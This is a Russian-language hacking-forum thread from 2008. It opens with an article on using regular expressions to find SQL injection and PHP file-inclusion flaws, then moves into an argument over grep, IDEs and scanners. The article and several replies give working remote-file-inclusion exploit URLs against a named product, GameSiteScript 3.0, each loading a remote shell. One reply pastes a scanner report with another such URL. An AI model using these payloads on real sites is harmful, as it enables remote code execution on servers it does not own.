Авторские статьи Использование регулярных выражений при поиске уязвимостей php

Discussion in 'Статьи' started by Macro, 9 Feb 2008.

  1. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207

    Поиск уязвимостей с помощью регулярных выражений.

    Поиском уязвимостей в php скриптах заниматься часто не столько сложно, сколько долго и нудно.
    Хочу предложить вам более удобный и практичный, а главное, гораздо более быстрый способ поиска уязвимостей в скриптах,
    нежели тупой пофайловый просмотр кода через текстовые редакторы и трение глаз о монитор или тыкание кавычек во все подряд переменные в браузере.
    Я говорю о поиске наиболее известных уязвимостей с помощью регулярных выражений.
    Конечно, 100% результата в качестве уязвимостей вы не получите, но существенно облегчите себе работу.
    Итак, начнем.

    1. Чем искать

    Поискав в интернете, я наткнулся на замечательную программу от SilverAge Software, а именно TextWorkBench
    [​IMG]

    Она является платной, однако, что меня приятно удивило, позволяет работать, хоть и с ограничением функциональности,
    но выполняя некоторые нам необходимые вещи даже после окончания 15-дневного демо-периода.

    Скачать: http://silveragesoftware.com/ftp/HFFRTextWorkbenchSetup.exe На момент написания сайт производителя в дауне, надеюсь, что это не навечно...

    Залил textworkbench на хост, т.к. сайт производителя висит
    Скачать Text Workbench

    2. Как искать

    Методом проб и ошибок были составлены следующие регулярные выражения (синтаксис которых подходит именно для этой программы) :

    SQL injection

    Вероятно, что бага есть (если в запросе встречается переменная GPC, редко когда встречается, к сожалению) :

    Code:
    {where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^\s;]*
    
    Маловероятно, что бага есть (это просто поиск запросов, в которых встречаются переменные, почти везде выдает тучу результатов, но баги попадаются гораздо реже)

    Code:
    {where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$[^\s;]*
    

    PHP include

    Тут все гораздо проще :)

    Вероятно, что бага есть (GPC переменная входит в инклуд) :

    Code:
    {include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^;]+;
    
    Менее вероятно, что бага есть (когда в инклуд входит переменная) :

    Code:
    {include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;
    
    3. Пример

    В качестве скрипта для примера возьму GameSiteScript 3.0

    Скачать и посмотреть описание можно тут

    Вводим поиск на маловероятный php include :)

    Code:
    {include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;
    
    И смотрим результаты...

    Вот один из них

    [​IMG]

    Смотрим код файла
    \plugins\site\themes\21\smallbox.php

    PHP:
    <?php

    $menunames 
    explode("|"$themecfg['boxcontentorder']);

    echo 
    "<tr>";
    $i 0;
    foreach (
    $menunames as $menuname) {
        if (
    $i%2==&& $i!=0) {
            echo 
    "</tr><tr>";
        }

        include 
    $menuname."box.php";

        
    $i++;

    }
    echo 
    "</tr>";

    ?>

    Это значит, что при register_globals on мы можем задать через GET или POST переменную $themecfg['boxcontentorder'], которая потом будет использоваться при инклуде.


    Итог: найдена новая RFI уязвимость

    Code:
    http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?
    

    PS к сожалению форум все еще добавляет пробелы в код, поэтому не забывайте их удалять перед использованием.
     
    #1 Macro, 9 Feb 2008
    Last edited: 9 Feb 2008
    11 people like this.
  2. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    имхо такими методами ты пропустишь больше уязвимостей чем найдешь.. а еще ложные срабатывания..

    проще уже весь сорс взять и изучить..
    очень удобно, кстати, использовать редактор с развитой подсветкой синтаксиса - выделяешь в нем ярким цветом потенициально опасные функции и т.п., и при беглом осмотре они сразу бросаются в глаза.. а там уже разбираешься.. )
     
  3. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Изучи-ка сорс эдак в 5 мб.... Кроме того, я же не говорил, что это единственный адекватный способ поиска багов. Если баги так не нашлись - мозги и notepad++ в руки - и изучать дальше. Но в большинстве случаев достаточно лишь грамотного регулярного выражения. Поэтому я и представил тут способ как сильно себе облегчить поиск уязвимостей.
     
    1 person likes this.
  4. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    +1 я опасные функции подсвечиваю
     
    2 people like this.
  5. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
  6. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> Изучи-ка сорс эдак в 5 мб....

    если будет необходимо, то почему бы и нет? ))

    >> Поэтому я и представил тут способ как сильно себе облегчить поиск уязвимостей.

    ну, это боян еще тот.. и его тут по-моему уже не раз успели представить.. )

    зачем тут тебе пригодилась шареваре-программка от славы васильева мне вообще непонятно - проще уж все это в виде собственного скрипта реализовать (хотя подобных уже итак дофига есть)..
     
  7. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    ПОчему бы и нет? Потому что умереть успеешь быстрее.

    Из подобного видел только php bug scanner by Razor, но там несколько иначе. Не видел ничего подобного нигде. Покажи.

    Программка имхо одна из самых лучших помощников программиста. Реализовать в виде скрипта может и проще, но не дает свободы действий. Кроме того, смысл писать то, что уже реализовано в приличном варианте?
     
    1 person likes this.
  8. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    обычно сорсы много весят из-за картинок :) а сами сценарии не такие уж и тяжелые.
     
  9. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Ты битрикс никогда не ковырял например?
     
    3 people like this.
  10. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Ящик пива, блок сигарет, и за работу:)


    ---Скорее уж веревку мыло и в туалет
    Alexsize
     
    #10 DIAgen, 9 Feb 2008
    Last edited by a moderator: 9 Feb 2008
  11. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> Не видел ничего подобного нигде. Покажи.

    PHP Source Auditor 3, например..
     
  12. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Только что испробовал его в действии на том же скрипте. Результат - ни одной найденной уязвимости. Есть мысли еще?
     
  13. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    х.ле мозг ипать grep и больше НИЧЕГО, лично я только им пользуюсь ;)
     
  14. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Не все являются счастливыми обладателями unix систем + далеко не все умеют пользоваться командной строкой... Что, разве мой вариант плох?
     
  15. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Я Удивлен: Кто нить понимает, что для них это единственный способ искать уязвимости? Статья написана для тех, кто начинает, в тоже время знает основы, и т.д., в свое время я учился по подобным статьям, и поверьте мне это дало определенный результат... Я бы сказал спасибо автору в свое время, может мое нение никого не интересует, но автор молодец

    ЗЫ Скорее всего эта самая полезная статья написанная в этом разделе за год
     
    #15 Scipio, 10 Feb 2008
    Last edited: 10 Feb 2008
  16. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> ЗЫ Скорее всего эта самая полезная статья написанная в этом разделе за год

    ой не смеши, в статье описывается "маленькая фишка" и ниче более.. а тему об автоматизации поиска уязвимостей с помощью тех же регулярок можна раскрывать до бесконечности долго..

    >> Результат - ни одной найденной уязвимости. Есть мысли еще?

    по-моему, Iron просто не учел такой штуки как вожмозность использовать нулл-байт при инклуде,
    кстати, и ты тоже про него забыл:

    http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?%00

    т.ч. чтоб заюзать баг надо еще, чтоб magic_quotes были = off ..
     
    #16 Digimortal, 10 Feb 2008
    Last edited: 10 Feb 2008
  17. presidentua

    presidentua милиционер Античата

    Joined:
    4 Nov 2007
    Messages:
    305
    Likes Received:
    236
    Reputations:
    15
    Очень давно выкладывали скрипт на ПХП - "PHP source vulnerability scaner", который для указаной папки перебирает разные регулярные выражения. Кто-то из Гринов выкладывал, но к сожалению в скриптах автор не подписан, но немного поискав по форуму можна найти.

    Для этого метода можна использовать также Нотепад++, в нем есть функция поиска по регулярных выражениях как в открытых файлах так и в указаной директории + визуально все прекласно видно.
     
  18. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Метод баянный. Пошло все еще с появления koders.com/code.google.com.

    grep пожалуй и правда не слишком удобно (но тем не менее можно) юзать, но в любой нормальной IDE есть поиск по файлам с поддержкой регексов.
     
  19. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    А вот и неправда :)))) Чтобы заюзать баг надо после
    http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://site/shell.php поставить ? и все, что после - отрежется вопросом, следовательно, работать будет и при magic quotes on. Меня поражает такая некомпетентность и неадекватность. Мой метод хорош, т.к. приносит хорошие результаты. С php скриптом сравнивать бесполезно, т.к. регулярные выражения там просто другие, + чтобы немножко изменить способ поиска или регулярку - придется лезть скрипт переписывать.

    2 KSURi

    А я разве писал, что он сильно новый? Я лишь описал суть метода, его принцип действия и все необходимое для работы с его помощью. Таких статей еще не было. Кроме того, эту программу я предложил не потому, что только она умеет искать с помощью регулярных выражений, я в курсе, что не только она, а потому, что синтаксис ее регулярных выражений несколько удобнее, чем везде + она сама очень удобна для использования.

    2 presidentua
    А ты уверен, что искать с помощью php скрипта быстрее и удобнее? А в TextWorkbench встроен текстовый редактор, можно сразу просмотреть файл с уязвимостью целиком... В данном случае самый замечательный php скрипт уступит по функциональности, а главное - по скорости.
     
    #19 Macro, 10 Feb 2008
    Last edited: 10 Feb 2008
    1 person likes this.
  20. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> и все, что после - отрежется вопросом, следовательно, работать будет и при magic quotes on.

    ну что тут сказать, я вчера протупил немнога ))

    >> Меня поражает такая некомпетентность и неадекватность.

    вот тут ты зря.. моя компетентность, например, позволила мне суметь запустить PHP Source Auditor 3 и найти им багу в скрипте, а твоя почему то - только написать, что этот скрипт нифига не находит.. вот кстате:

    Code:
    Vulnerability Type: Remote File Inclusion
    Vulnerable file: /plugins/site/themes/sharp/utilityfunctions.php
    Exploit URL: http://localhost/plugins/site/themes/sharp/utilityfunctions.php?cfg[instdir]=http://localhost/shell.txt?
    Method: get
    Register_globals: On
    Vulnerable variable: cfg[instdir]
    Line number: 3
    Lines: 
    
    ----------------------------------------------
    
    include $cfg['instdir']."plugins/site/themes/adminlinks.php";
    
    
    ----------------------------------------------
    насчет неадекватности я уже промолчу.. )

    >> Мой метод хорош, т.к. приносит хорошие результаты.

    во-первых, ЭТО НЕ ТВОЙ МЕТОД - его все уже давно юзают - поиск регулярками... (и не важно какую прогу ты при этом юзаешь..) =/
    во-вторых, он плох, если сорец весит 5 мб )).. то, что ты описал это не поиск уязвимостей даже - это поиск мест в коде, где они могут быть.. загляни в сорец PHP Source Auditor 3 - он не только ищет места, где могут расположиться уязвимости, он эти уязвимости затем проверяет - вот это более-менее продвинутый способ их поиска..

    >> С php скриптом сравнивать бесполезно, т.к. регулярные выражения там просто другие, + чтобы немножко изменить способ поиска или регулярку - придется лезть скрипт переписывать.

    бред какой-то, чесслово.. можна всегда написать скрипт который будет искать по заданным тобой регуляркам.. можна даже сделать чтоб по нажатию кнопки открывлся сорец в нужном месте, можно вообще много всего сдлеать, написав свой скрипт, а не юзая шаровару за 40$ (если не ошибаюсь)... ))
     
    #20 Digimortal, 10 Feb 2008
    Last edited: 10 Feb 2008
    3 people like this.